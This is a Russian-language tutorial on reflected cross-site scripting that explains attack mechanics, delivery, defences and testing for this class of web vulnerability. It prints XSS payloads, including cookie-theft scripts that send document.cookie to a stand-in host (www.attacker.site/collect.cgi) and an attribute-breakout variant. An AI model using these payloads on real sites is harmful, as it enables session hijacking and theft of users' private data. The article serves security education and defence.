Узнайте, как хакеры инициируют межсайтовые атаки с внедрением сценария (cross-site scripting, XSS), какой вред они могут нанести (и какой не могут), как их выявить и как защитить ваш Web-сайт и его посетителей от этих злонамеренных вторжений в систему обеспечения безопасности и нарушения конфиденциальности.
Что происходит при межсайтовой атаке с внедрением сценария
Межсайтовая атака с внедрением сценария (XSS) - одна из самых распространенных атак на уровне приложения, которые хакеры используют для незаконного проникновения в Web-приложения. XSS - это атака, направленная на конфиденциальную информацию клиентов конкретного Web-сайта, которая может привести к тотальному взлому системы безопасности с похищением или фальсификацией данных о пользователе. Большинство атак подразумевает участие двух сторон: атакующий и Web-сайт, либо атакующий и его жертва (на стороне клиента). Атаки XSS здесь являются исключением и подразумевают наличие трех участвующих сторон: атакующий, клиент и Web-сайт.
Целью XSS-атаки является похищение cookies клиента или другой важной информации, которая может идентифицировать клиента на Web-сайте. Имея в своем распоряжении маркер легитимного клиента, атакующий может действовать от его имени при взаимодействии с Web-сайтом, используя его персональные данные. К примеру, при проведении аудита в одной крупной компании выяснилось, что можно при помощи XSS-атаки получить номер кредитной карты и конфиденциальную информацию пользователя. Это было сделано за счет выполнения злонамеренного кода JavaScript в браузере жертвы (клиента) с получением прав доступа к Web-сайту. Для сценариев JavaScript устанавливаются очень ограниченные привилегии, которые обычно не разрешают сценарию доступ к любой информации, не относящейся к сайту. Важно подчеркнуть, что, несмотря на наличие на Web-сайте уязвимостей, непосредственно сайту вред никогда не наносится. Сценарию вполне достаточно собрать cookies и отправить их атакующему. В результате атакующий получает cookies и выдает себя за пользователя-жертву.
Разъяснение методики XSS
Выберем в качестве мишени для нападения сайт: www.vulnerable.site. Основой традиционной XSS-атаки является уязвимый сценарий, выполняемый на уязвимом сайте. Сценарий прочитывает часть HTTP-запроса (обычно это параметры, но иногда заголовки HTTP или маршрут) и полностью или частично возвращает эти данные на страницу ответа, не выполняя первичного обеззараживания (т. е. не проверяя, содержат ли данные код JavaScript или теги HTML). Предположим, сценарий носит имя welcome.cgi, а параметр - имя name. Сценарий может работать следующим образом:
GET /welcome.cgi?name=Joe%20Hacker HTTP/1.0
Host: www.vulnerable.site
|
Ответ будет следующим:
<HTML> <Title>Welcome!</Title> Hi Joe Hacker <BR> Welcome to our system ... </HTML> |
Как это использовать? Атакующий каким-то образом завлекает жертву щелкнуть на ссылке, которую тот предоставил пользователю. Это специально созданная злонамеренная ссылка, которая принуждает Web-браузер жертвы обратиться на сайт (www.vulnerable.site) и вызвать уязвимый сценарий. Данные, передаваемые сценарием, состоят из кода JavaScript, который осуществляет доступ к cookies, сохраненным клиентским браузером для сайта www.vulnerable.site. Это разрешается, поскольку клиентский браузер "считает", что код JavaScript пришел с сайта www.vulnerable.site, а модель безопасности JavaScript позволяет сценариям, поступившим с определенного сайта, обращаться к cookies, расположенным на этом сайте.
Такая ссылка может выглядеть следующим образом:
http://www.vulnerable.site/welcome.cgi?name=<script>alert(document.cookie)</script>
|
Когда жертва щелкает по ссылке, генерируется следующий запрос на сайт www.vulnerable.site:
GET /welcome.cgi?name=<script>alert(document.cookie)</script> HTTP/1.0 Host: www.vulnerable.site ... |
Уязвимый сайт отвечает таким образом:
<HTML> <Title>Welcome!</Title> Hi <script>alert(document.cookie)</script> <BR> Welcome to our system ... </HTML> |
Клиентский браузер жертвы интерпретирует этот ответ как страницу HTML, содержащую фрагмент кода JavaScript. Этот код при своем выполнении разрешает доступ ко всем cookies, расположенным на сайте www.vulnerable.site. Таким образом, в клиентском браузере откроется окно, в котором будут представлены все клиентские cookies, принадлежащие сайту www.vulnerable.site.
Конечно, реальная атака будет включать отправку этих cookies атакующему. Для этого атакующий может создать Web-сайт (www.attacker.site) и использовать сценарий для приема этих cookies. Вместо вывода на экран окна атакующему следует написать код, который обращается к сайту www.attacker.site, вызывая тем самым сценарий приема cookie с похищенными cookies в качестве параметра. Таким образом, атакующий может получить cookies с сервера www.attacker.site.
Злонамеренная ссылка может выглядеть так:
http://www.vulnerable.site/welcome.cgi?name=<script>window.open
("http://www.attacker.site/collect
.cgi?cookie="%2Bdocument.cookie)</script>
|
А страница ответа может иметь следующий вид:
<HTML> <Title>Welcome!</Title> Hi
<script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
<BR>
Welcome to our system ... </HTML>
|
Сразу после загрузки этой страницы браузер выполнит встроенный код JavaScript и отправит запрос сценарию .cgi на сайте www.attacker.site с указанием значения cookie на сайте ww.vulnerable.site (этим значением браузер уже располагает). Таким образом, cookies клиента, расположенные на сайте www.vulnerable.site, становятся известными, что позволяет атакующему выдать себя за свою жертву. Конфиденциальность клиента полностью нарушается.
Примечание:
Выдачи сценарием JavaScript всплывающего окна обычно достаточно, чтобы продемонстрировать уязвимость сайта для XSS-атака. Если есть возможность вызвать JavaScript-функцию Alert, скорее всего вызов функции window.open также будет успешным. По этой причине в большинстве примеров XSS-атак используется функция Alert, которая позволяет легко определить, достигла ли атака цели.
Область применения и осуществимость
Атака может иметь место только в браузере жертвы. Этот же браузер осуществляет доступ к сайту (www.vulnerable.site). Атакующему нужно заставить клиента перейти по злонамеренной ссылке. Это можно сделать следующими способами:
- Атакующий посылает электронное сообщение, содержащее HTML-страницу, которая принуждает браузер перейти по ссылке. При этом жертва должна использовать клиентскую почтовую систему, поддерживающую HTML, и использовать для просмотра HTML на клиенте тот же браузер, который используется для доступа к сайту www.vulnerable.site.
- Клиент посещает сайт, возможно, обслуживаемый атакующим, где ссылка на изображение или другой активный HTML-код принуждает браузер перейти по ссылке. Опять-таки, для доступа к этому сайту и к сайту www.vulnerable.site должен использоваться один и тот же браузер.
Злонамеренный код JavaScript может получить доступ к такой информации, как:
- Постоянные cookies (с сайта www.vulnerable.site), обслуживаемые браузером
- Временные cookies (с сайта www.vulnerable.site), обслуживаемые этим экземпляром браузера только при текущем просмотре сайта www.vulnerable.site.
- Имена других окон, открытых для www.vulnerable.site.
- Любая информация, доступная через текущую модель DOM (значения from, код HTML и т. д.)
Маркеры идентификации, аутентификации и авторизации обычно хранятся в виде cookies. Если эти cookies являются постоянными, жертва уязвима для атаки, даже если сайт www.vulnerable.site не открыт в данный момент в браузере. Если же cookies являются временными, например cookies, хранящиеся в оперативной памяти, то клиент в этот момент должен иметь открытый сеанс с сайтом www.vulnerable.site.
Другой возможной реализацией маркера идентификации является параметр URL. В этом случае можно осуществить доступ к другим окнам с помощью сценария JavaScript следующим образом (в предположении, что страница с необходимым параметром URL носит имя foobar ):
<script>var victim_window=open(",'foobar');alert('Can access:
' +victim_window.location.search)</script>
|
Вариации на данную тему
Для запуска сценария JavaScript можно использовать не только <SCRIPT> to run the JavaScript.но и многие другие теги HTML. Фактически можно даже разместить злонамеренный код JavaScript на другом сервере и принудить клиента загрузить сценарий и выполнить его, что может оказаться полезным в случае большого объема выполняемого кода или в случае, если код содержит специальные символы.
Вот два примера использования таких возможностей:
- Вместо
<script>...</script>, хакеры могут использовать<img src="javascript:...">. Это хорошо для сайтов, которые фильтруют HTML-тег<script>.
- Вместо
<script>...</script>, можно использовать<script src="http://...">. Это хорошо в ситуациях, когда код JavaScript слишком длинный или когда он содержит запрещенные символы.
Иногда данные, встроенные в страницу ответа, не находятся в свободном контексте HTML. В этом случае необходимо сначала "уйти" к свободному контексту, а затем осуществить XSS-атаку. К примеру, если данные вносятся в качестве значения по умолчанию в поле HTML-формы:
... <input type=text name=user value="..."> ... |
то необходимо включить в начало данных символ, "> чтобы обеспечить переход к свободному контексту HTML. Данные будут иметь следующий вид:
"><script>window.open("http://www.attacker.site/collect.cgi?cookie=
"+document.cookie)</script>
|
Получившийся код HTML будет таким:
...
<input type=text name=user value=""><script>window.open
("http://www.attacker.site/collect.cgi?cookie="+document.cookie)</script>">
...
|
Другие способы выполнения традиционных XSS-атак
До сих пор мы рассматривали XSS-атаки, которые использовали параметр запроса GET возвращающего данные на страницу ответа посредством сценария. Но можно также выполнить атаку через запрос POST или с помощью компонента маршрута HTTP-запроса - и даже с использованием некоторых заголовков HTTP (таких как Referer).
В частности, компонент маршрута (path) полезно использовать, если на странице ошибки выводится ошибочный путь. В этом случае включение злонамеренного сценария в маршрут приведет к исполнению этого сценария. Многие Web-серверы уязвимы перед лицом такого рода атак.
В чем криминал?
Важно понимать, что несмотря на то, что Web-сайт этой атакой напрямую не затрагивается (он продолжает нормально работать, злонамеренный код на сайте не выполняется, не возникает ситуаций с отказом в обслуживании, нет непосредственных манипуляций с данными и чтения информации с сайта), для посетителей сайта или клиентов имеет место нарушение конфиденциальности. Это можно сравнить с развертыванием на сайте приложения со слабыми маркерами безопасности, когда атакующий может угадать маркер безопасности клиента и выдать себя за него.
Слабым местом приложения является сценарий, который возвращает свой параметр вне зависимости от его значения. Хороший сценарий должен проверять, что параметр имеет надлежащий формат, содержит разумные символы и т. д. В разумных ситуациях параметр не включает теги HTML и код JavaScript, поэтому они в целях безопасности должны быть удалены из параметра до того, как он будет встроен в ответ или обработан приложением.
Как защититься от XSS-атак
Обезопасить сайт от XSS-атак можно тремя способами:
- Самостоятельно реализовав фильтрацию входных данных ( обеззараживание поступающих данных ). К примеру, в сценарии welcome.cgi из предыдущего примера посредством декодирования параметра
nameдолжен быть отфильтрован тег<script>. Этот метод тем не менее имеет несколько серьезных недостатков:- Разработчик приложения должен быть хорошо осведомлен в вопросах безопасности.
- Программист должен учитывать все возможные источники входных данных (параметры запроса, параметры в теле
POSTзаголовки HTTP). - Невозможно защититься от уязвимостей, имеющихся в сценариях или серверах от сторонних поставщиков. Например, нельзя защититься от проблем, возникающих со страницами ошибок Web-серверов (которые отображают путь к ресурсу).
- Воспользовавшись "фильтрацией выхода", т. е. фильтровать данные пользователя при отправке их обратно в браузер, а не при получении их сценарием. Хорошим примером здесь может быть сценарий, который помещает входные данные в базу данных, а затем представляет ее. В этом случае важно не применять фильтр к исходной строке ввода, а лишь к выходным данным. Недостатки здесь те же, что и при фильтрации входа.
- Установить брандмауэр приложений от стороннего поставщика, который обнаруживает XSS-атаки до того, как они достигнут Web-сервера и уязвимых сценариев, и блокирует их. Брандмауэры приложений способны выявлять все методы ввода (включая путь и заголовки HTTP), вне зависимости от того, является ли сценарий собственным, сценарием от стороннего поставщика или сценарием, вообще не указывающим на ресурс (например, сценарий, вызывающий выдачу сервером страницы 404). Для каждого источника ввода брандмауэр приложений анализирует данные на наличие различных образцов тегов HTML и образцов кода JavaScript. Если подозрительный фрагмент найден, запрос отклоняется, и злонамеренный код не попадает на сервер.
Способы проверить, защищен ли ваш сайт от XSS-атак
Проверка того, защищен ли сайт от XSS-атак, позволяет сделать заключение о безопасности сайта. Подобно защите сайта от XSS-атак, проверка реальной безопасности сайта может быть выполнена вручную (непростой путь) или с помощью автоматизированного инструмента оценки уязвимости Web-приложений, который избавляет от утомительных процедур проверки. Инструмент просматривает сайт и запускает все известные ему варианты сценариев, использующих параметры, заголовки и маршруты. При обоих подходах любые поступающие в приложение данные (параметры всех сценариев, заголовки HTTP, маршруты) проверяются с использованием как можно большего количества вариантов. Если страница ответа содержит код JavaScript в контексте, в котором браузер может выполнить его, это свидетельствует об уязвимости для XSS. К примеру, при подстановке следующего текста:
<script>alert(document.cookie)</script> |
в каждый из параметров каждого сценария (посредством использования поддерживающего JavaScript браузера для выявления простейших уязвимостей XSS) браузер выдаст всплывающее окно Alert JavaScript, если текст интерпретируется как код JavaScript. Разумеется, возможны несколько вариантов; таким образом, проверки только одного варианта недостаточно. Кроме того, как вы уже знаете, можно внедрить JavaScript в различные поля запроса: параметры, заголовки HTTP и маршрут. Тем не менее в ряде случаев (особенно для HTTP-заголовка Referer) выполнить атаку с использованием браузера бывает затруднительно.
Заключение
Межсайтовые атаки с внедрением сценария - наиболее распространенный (а также наиболее опасный) вид атак на уровне приложения, применяемый хакерами для проникновения в Web-приложения. Эта атака направлена на конфиденциальную информацию клиентов конкретного Web-сайта. Похищение или незаконное изменение информации о пользователе может привести к появлению брешей в системе безопасности. К несчастью, как поясняется в этой статье, клиент или организация зачастую даже не подозревают о том, что подверглись атаке.
Чтобы защитить Web-сайт от подобный зловредных действий, организации важно реализовать стратегию безопасности при работе как в автономном режиме, так и в Интернете. Это подразумевает применение инструментов автоматического анализа уязвимостей, которые проверяют, нет ли типичных слабостей Web-сайта и слабостей, специфичных для конкретного приложения (например, уязвимость перед лицом XSS-атак). Для полноценной защиты в Интернете также важно жизненно важно установить брандмауэр, способный противостоять любым манипуляциям с кодом и контентом, размещенным на Web-серверах.